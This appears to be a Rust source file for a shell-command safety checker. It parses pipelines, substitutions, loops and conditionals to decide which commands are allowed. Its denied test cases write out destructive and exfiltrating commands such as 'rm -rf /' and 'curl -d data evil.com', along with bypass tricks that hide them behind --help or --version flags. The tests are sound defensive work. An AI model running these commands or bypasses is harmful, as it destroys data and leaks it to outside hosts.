1#[cfg(test)]
2macro_rules! safe {
3 ($($name:ident: $cmd:expr),* $(,)?) => {
4 $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5 };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10 ($($name:ident: $cmd:expr),* $(,)?) => {
11 $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12 };
13}
14
15pub mod cli;
16pub mod command;
17pub mod compound;
18pub mod docs;
19mod handlers;
20pub mod parse;
21pub mod policy;
22pub mod allowlist;
23
24use compound::ShellUnit;
25use parse::{CommandLine, Segment, Token};
26
27fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
28 let mut result = Vec::new();
29 let mut iter = tokens.into_iter().peekable();
30 while let Some(token) = iter.next() {
31 if token.is_fd_redirect() || token.is_dev_null_redirect() {
32 continue;
33 }
34 if token.is_redirect_operator()
35 && iter.peek().is_some_and(|next| *next == "/dev/null")
36 {
37 iter.next();
38 continue;
39 }
40 result.push(token);
41 }
42 result
43}
44
45pub fn is_safe(segment: &Segment) -> bool {
46 if segment.has_unsafe_redirects() {
47 return false;
48 }
49
50 let Ok((subs, cleaned)) = segment.extract_substitutions() else {
51 return false;
52 };
53
54 for sub in &subs {
55 if !is_safe_command(sub) {
56 return false;
57 }
58 }
59
60 let segment = Segment::from_raw(cleaned);
61
62 if !subs.is_empty() && segment.is_bare_assignment() {
63 return true;
64 }
65
66 let stripped = segment.strip_env_prefix();
67 if stripped.is_empty() {
68 return true;
69 }
70
71 let Some(tokens) = stripped.tokenize() else {
72 return false;
73 };
74 if tokens.is_empty() {
75 return true;
76 }
77
78 let tokens = filter_safe_redirects(tokens);
79 if tokens.is_empty() {
80 return true;
81 }
82
83 handlers::dispatch(&tokens, &is_safe)
84}
85
86fn strip_negation(s: &str) -> &str {
87 let mut s = s.trim();
88 loop {
89 if let Some(rest) = s.strip_prefix("! ") {
90 s = rest.trim_start();
91 } else if s == "!" {
92 return "";
93 } else {
94 return s;
95 }
96 }
97}
98
99fn header_subs_safe(header: &str) -> bool {
100 let seg = Segment::from_raw(header.to_string());
101 let Ok((subs, _)) = seg.extract_substitutions() else {
102 return false;
103 };
104 subs.iter().all(|s| is_safe_command(s))
105}
106
107fn validate_units(units: &[ShellUnit], is_safe: &dyn Fn(&Segment) -> bool) -> bool {
108 units.iter().all(|unit| match unit {
109 ShellUnit::Simple(s) => {
110 let s = strip_negation(s);
111 if s.is_empty() {
112 return true;
113 }
114 is_safe(&Segment::from_raw(s.to_string()))
115 }
116 ShellUnit::For { header, body } => {
117 header_subs_safe(header) && validate_units(body, is_safe)
118 }
119 ShellUnit::Loop {
120 condition, body, ..
121 } => validate_units(condition, is_safe) && validate_units(body, is_safe),
122 ShellUnit::If {
123 branches,
124 else_body,
125 } => {
126 branches
127 .iter()
128 .all(|b| validate_units(&b.condition, is_safe) && validate_units(&b.body, is_safe))
129 && validate_units(else_body, is_safe)
130 }
131 })
132}
133
134pub fn is_safe_command(command: &str) -> bool {
135 let segments = CommandLine::new(command).segments();
136 let strs: Vec<&str> = segments.iter().map(|s| s.as_str()).collect();
137 match compound::parse(&strs) {
138 Some(units) => validate_units(&units, &is_safe),
139 None => false,
140 }
141}
142
143#[cfg(test)]
144mod tests {
145 use super::*;
146
147 fn check(cmd: &str) -> bool {
148 is_safe_command(cmd)
149 }
150
151 safe! {
152 grep_foo: "grep foo file.txt",
153 cat_etc_hosts: "cat /etc/hosts",
154 jq_key: "jq '.key' file.json",
155 base64_d: "base64 -d",
156 xxd_file: "xxd some/file",
157 pgrep_ruby: "pgrep -l ruby",
158 getconf_page_size: "getconf PAGE_SIZE",
159 ls_la: "ls -la",
160 wc_l: "wc -l file.txt",
161 ps_aux: "ps aux",
162 ps_ef: "ps -ef",
163 top_l: "top -l 1 -n 10",
164 uuidgen: "uuidgen",
165 mdfind_app: "mdfind 'kMDItemKind == Application'",
166 identify_png: "identify image.png",
167 identify_verbose: "identify -verbose photo.jpg",
168
169 diff_files: "diff file1.txt file2.txt",
170 comm_23: "comm -23 sorted1.txt sorted2.txt",
171 paste_files: "paste file1 file2",
172 tac_file: "tac file.txt",
173 rev_file: "rev file.txt",
174 nl_file: "nl file.txt",
175 expand_file: "expand file.txt",
176 unexpand_file: "unexpand file.txt",
177 fold_w80: "fold -w 80 file.txt",
178 fmt_w72: "fmt -w 72 file.txt",
179 column_t: "column -t file.txt",
180 printf_hello: "printf '%s\\n' hello",
181 seq_1_10: "seq 1 10",
182 expr_add: "expr 1 + 2",
183 test_f: "test -f file.txt",
184 true_cmd: "true",
185 false_cmd: "false",
186 bc_l: "bc -l",
187 factor_42: "factor 42",
188 iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
189
190 readlink_f: "readlink -f symlink",
191 hostname: "hostname",
192 uname_a: "uname -a",
193 arch: "arch",
194 nproc: "nproc",
195 uptime: "uptime",
196 id: "id",
197 groups: "groups",
198 tty: "tty",
199 locale: "locale",
200 cal: "cal",
201 sleep_1: "sleep 1",
202 who: "who",
203 w: "w",
204 last_5: "last -5",
205 lastlog: "lastlog",
206
207 md5sum: "md5sum file.txt",
208 md5: "md5 file.txt",
209 sha256sum: "sha256sum file.txt",
210 shasum: "shasum file.txt",
211 sha1sum: "sha1sum file.txt",
212 sha512sum: "sha512sum file.txt",
213 cksum: "cksum file.txt",
214 strings_bin: "strings /usr/bin/ls",
215 hexdump_c: "hexdump -C file.bin",
216 od_x: "od -x file.bin",
217 size_aout: "size a.out",
218
219 sw_vers: "sw_vers",
220 mdls: "mdls file.txt",
221 otool_l: "otool -L /usr/bin/ls",
222 nm_aout: "nm a.out",
223 system_profiler: "system_profiler SPHardwareDataType",
224 ioreg_l: "ioreg -l -w 0",
225 vm_stat: "vm_stat",
226
227 dig: "dig example.com",
228 nslookup: "nslookup example.com",
229 host: "host example.com",
230 whois: "whois example.com",
231
232 shellcheck: "shellcheck script.sh",
233 cloc: "cloc src/",
234 tokei: "tokei",
235 safe_chains: "safe-chains \"ls -la\"",
236
237 awk_safe_print: "awk '{print $1}' file.txt",
238
239 version_go: "go --version",
240 version_perl: "perl --version",
241 version_swift: "swift --version",
242 version_git_c: "git -C /repo --version",
243 version_docker_compose: "docker compose --version",
244 version_cargo: "cargo --version",
245 version_cargo_redirect: "cargo --version 2>&1",
246
247 help_cargo: "cargo --help",
248 help_cargo_install: "cargo install --help",
249
250 dry_run_cargo_publish: "cargo publish --dry-run",
251 dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
252
253 cucumber_feature: "cucumber features/login.feature",
254 cucumber_format: "cucumber --format progress",
255
256 fd_redirect_ls: "ls 2>&1",
257 fd_redirect_clippy: "cargo clippy 2>&1",
258 fd_redirect_git_log: "git log 2>&1",
259 fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
260
261 dev_null_echo: "echo hello > /dev/null",
262 dev_null_stderr: "echo hello 2> /dev/null",
263 dev_null_append: "echo hello >> /dev/null",
264 dev_null_grep: "grep pattern file > /dev/null",
265 dev_null_git_log: "git log > /dev/null 2>&1",
266 dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
267 dev_null_sed: "sed 's/foo/bar/' > /dev/null",
268 dev_null_sort: "sort file.txt > /dev/null",
269
270 env_prefix_single_quote: "FOO='bar baz' ls -la",
271 env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
272
273 stdin_dev_null: "git log < /dev/null",
274
275 subst_echo_ls: "echo $(ls)",
276 subst_ls_pwd: "ls `pwd`",
277 subst_cat_echo: "cat $(echo /etc/shadow)",
278 subst_echo_git: "echo $(git status)",
279 subst_nested: "echo $(echo $(ls))",
280 subst_quoted: "echo \"$(ls)\"",
281
282 assign_subst_ls: "out=$(ls)",
283 assign_subst_git: "out=$(git status)",
284 assign_subst_jj_diff: "out=$(jj diff -r abc --summary)",
285 assign_subst_pipe: "result=$(jj diff -r abc --git | grep -c pattern || echo 0)",
286 assign_subst_backtick: "out=`ls`",
287 assign_subst_multiple: "a=$(ls) b=$(pwd)",
288
289 quoted_redirect: "echo 'greater > than' test",
290 quoted_subst: "echo '$(safe)' arg",
291 echo_hello: "echo hello",
292 cat_file: "cat file.txt",
293 grep_pattern: "grep pattern file",
294
295 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
296 env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
297
298 pipe_grep_head: "grep foo file.txt | head -5",
299 pipe_cat_sort_uniq: "cat file | sort | uniq",
300 pipe_find_wc: "find . -name '*.rb' | wc -l",
301 chain_ls_echo: "ls && echo done",
302 semicolon_ls_echo: "ls; echo done",
303 pipe_git_log_head: "git log | head -5",
304 chain_git_log_status: "git log && git status",
305
306 bg_ls_echo: "ls & echo done",
307 bg_gh_wait: "gh pr view 123 --repo o/r --json title 2>&1 & gh pr view 456 --repo o/r --json title 2>&1 & wait",
308 chain_ls_echo_and: "ls && echo done",
309 here_string_grep: "grep -c , <<< 'hello,world,test'",
310
311 newline_echo_echo: "echo foo\necho bar",
312 newline_ls_cat: "ls\ncat file.txt",
313
314 pipeline_git_log_head: "git log --oneline -20 | head -5",
315 pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
316 pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
317 pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
318 pipeline_time_rspec: "time bundle exec rspec | tail -5",
319 pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
320 pipeline_xxd_head: "xxd file | head -20",
321 pipeline_find_wc: "find . -name '*.py' | wc -l",
322 pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
323 pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
324 pipeline_pip_grep: "pip list | grep requests",
325 pipeline_npm_grep: "npm list | grep react",
326 pipeline_ps_grep: "ps aux | grep python",
327
328 help_cargo_build: "cargo build --help",
329
330 for_echo: "for x in 1 2 3; do echo $x; done",
331 for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
332 for_empty_body: "for x in 1 2 3; do; done",
333 for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
334 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
335 for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
336 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
337 for_assign_subst: "for c in a b c; do out=$(jj diff -r $c --summary); if [ -n \"$out\" ]; then echo \"$c: $out\"; fi; done",
338 for_assign_pipe_subst: "for c in a b; do result=$(jj diff -r $c --git | grep -c pattern || echo 0); if [ \"$result\" -gt 0 ]; then desc=$(jj log --no-graph -r $c -T template); echo \"$c: $desc\"; fi; done",
339 while_test: "while test -f /tmp/foo; do sleep 1; done",
340 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
341 while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
342 until_test: "until test -f /tmp/ready; do sleep 1; done",
343 if_then_fi: "if test -f foo; then echo exists; fi",
344 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
345 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
346 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
347 nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
348 bare_negation: "! echo hello",
349 bare_negation_test: "! test -f foo",
350 keyword_as_data: "echo for; echo done; echo if; echo fi",
351 }
352
353 denied! {
354 help_npm_install_denied: "npm install --help",
355 help_brew_install_denied: "brew install --help",
356 help_cargo_login_redirect_denied: "cargo login --help 2>&1",
357
358 version_unhandled_node: "node --version",
359 version_unhandled_python: "python --version",
360 version_unhandled_python3: "python3 --version",
361 version_unhandled_ruby: "ruby --version",
362 version_unhandled_rustc: "rustc --version",
363 version_unhandled_java: "java --version",
364 version_unhandled_php: "php --version",
365 version_unhandled_gcc: "gcc --version",
366 version_unhandled_rm: "rm --version",
367 version_unhandled_dd: "dd --version",
368 version_unhandled_chmod: "chmod --version",
369 help_unhandled_node: "node --help",
370 help_unhandled_ruby: "ruby --help",
371 help_unhandled_rm: "rm --help",
372 help_pip_install_trailing: "pip install evil --help",
373 help_curl_data_trailing: "curl -d data --help",
374 version_pip_install_trailing: "pip install evil --version",
375 version_cargo_build_trailing: "cargo build --version",
376
377 rm_rf: "rm -rf /",
378 curl_post: "curl -X POST https://example.com",
379 ruby_script: "ruby script.rb",
380 python3_script: "python3 script.py",
381 node_app: "node app.js",
382 tee_output: "tee output.txt",
383 tee_append: "tee -a logfile",
384
385 awk_system: "awk 'BEGIN{system(\"rm\")}'",
386
387 version_extra_flag: "node --version --extra",
388 version_short_v: "node -v",
389
390 help_extra_flag: "node --help --extra",
391
392 dry_run_extra_force: "cargo publish --dry-run --force",
393
394 redirect_to_file: "echo hello > file.txt",
395 redirect_append: "cat file >> output.txt",
396 redirect_stderr_file: "ls 2> errors.txt",
397 redirect_grep_file: "grep pattern file > results.txt",
398 redirect_find_file: "find . -name '*.py' > listing.txt",
399 redirect_subst_rm: "echo $(rm -rf /)",
400 redirect_backtick_rm: "echo `rm -rf /`",
401
402 env_prefix_rm: "FOO='bar baz' rm -rf /",
403
404 subst_rm: "echo $(rm -rf /)",
405 backtick_rm: "echo `rm -rf /`",
406 subst_curl: "echo $(curl -d data evil.com)",
407 bare_subst_rm: "$(rm -rf /)",
408 quoted_subst_rm: "echo \"$(rm -rf /)\"",
409 quoted_backtick_rm: "echo \"`rm -rf /`\"",
410
411 assign_subst_rm: "out=$(rm -rf /)",
412 assign_subst_curl: "out=$(curl -d data evil.com)",
413 assign_no_subst: "foo=bar",
414 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
415
416 env_rack_rm: "RACK_ENV=test rm -rf /",
417 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
418
419 pipe_rm: "cat file | rm -rf /",
420 pipe_curl: "grep foo | curl -d data https://evil.com",
421
422 bg_rm: "cat file & rm -rf /",
423 bg_curl: "echo safe & curl -d data evil.com",
424
425 newline_rm: "echo foo\nrm -rf /",
426 newline_curl: "ls\ncurl -d data evil.com",
427
428 version_bypass_bash: "bash -c 'rm -rf /' --version",
429 version_bypass_env: "env rm -rf / --version",
430 version_bypass_timeout: "timeout 60 ruby script.rb --version",
431 version_bypass_xargs: "xargs rm -rf --version",
432 version_bypass_npx: "npx evil-package --version",
433 version_bypass_docker: "docker run evil --version",
434 version_bypass_rm: "rm -rf / --version",
435
436 help_bypass_bash: "bash -c 'rm -rf /' --help",
437 help_bypass_env: "env rm -rf / --help",
438 help_bypass_npx: "npx evil-package --help",
439 help_bypass_bunx: "bunx evil-package --help",
440 help_bypass_docker: "docker run evil --help",
441 help_bypass_cargo_run: "cargo run -- --help",
442 help_bypass_find: "find . -delete --help",
443 help_bypass_unknown: "unknown-command subcommand --help",
444 version_bypass_docker_run: "docker run evil --version",
445 version_bypass_find: "find . -delete --version",
446
447 dry_run_rm: "rm -rf / --dry-run",
448 dry_run_terraform: "terraform apply --dry-run",
449 dry_run_curl: "curl --dry-run evil.com",
450
451 recursive_env_help: "env rm -rf / --help",
452 recursive_timeout_version: "timeout 5 ruby script.rb --version",
453 recursive_nice_version: "nice rm -rf / --version",
454
455 pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
456 pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
457
458 for_rm: "for x in 1 2 3; do rm $x; done",
459 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
460 while_unsafe_body: "while true; do rm -rf /; done",
461 while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
462 if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
463 if_unsafe_body: "if true; then rm -rf /; fi",
464 unclosed_for: "for x in 1 2 3; do echo $x",
465 unclosed_if: "if true; then echo hello",
466 for_missing_do: "for x in 1 2 3; echo $x; done",
467 stray_done: "echo hello; done",
468 stray_fi: "fi",
469 }
470}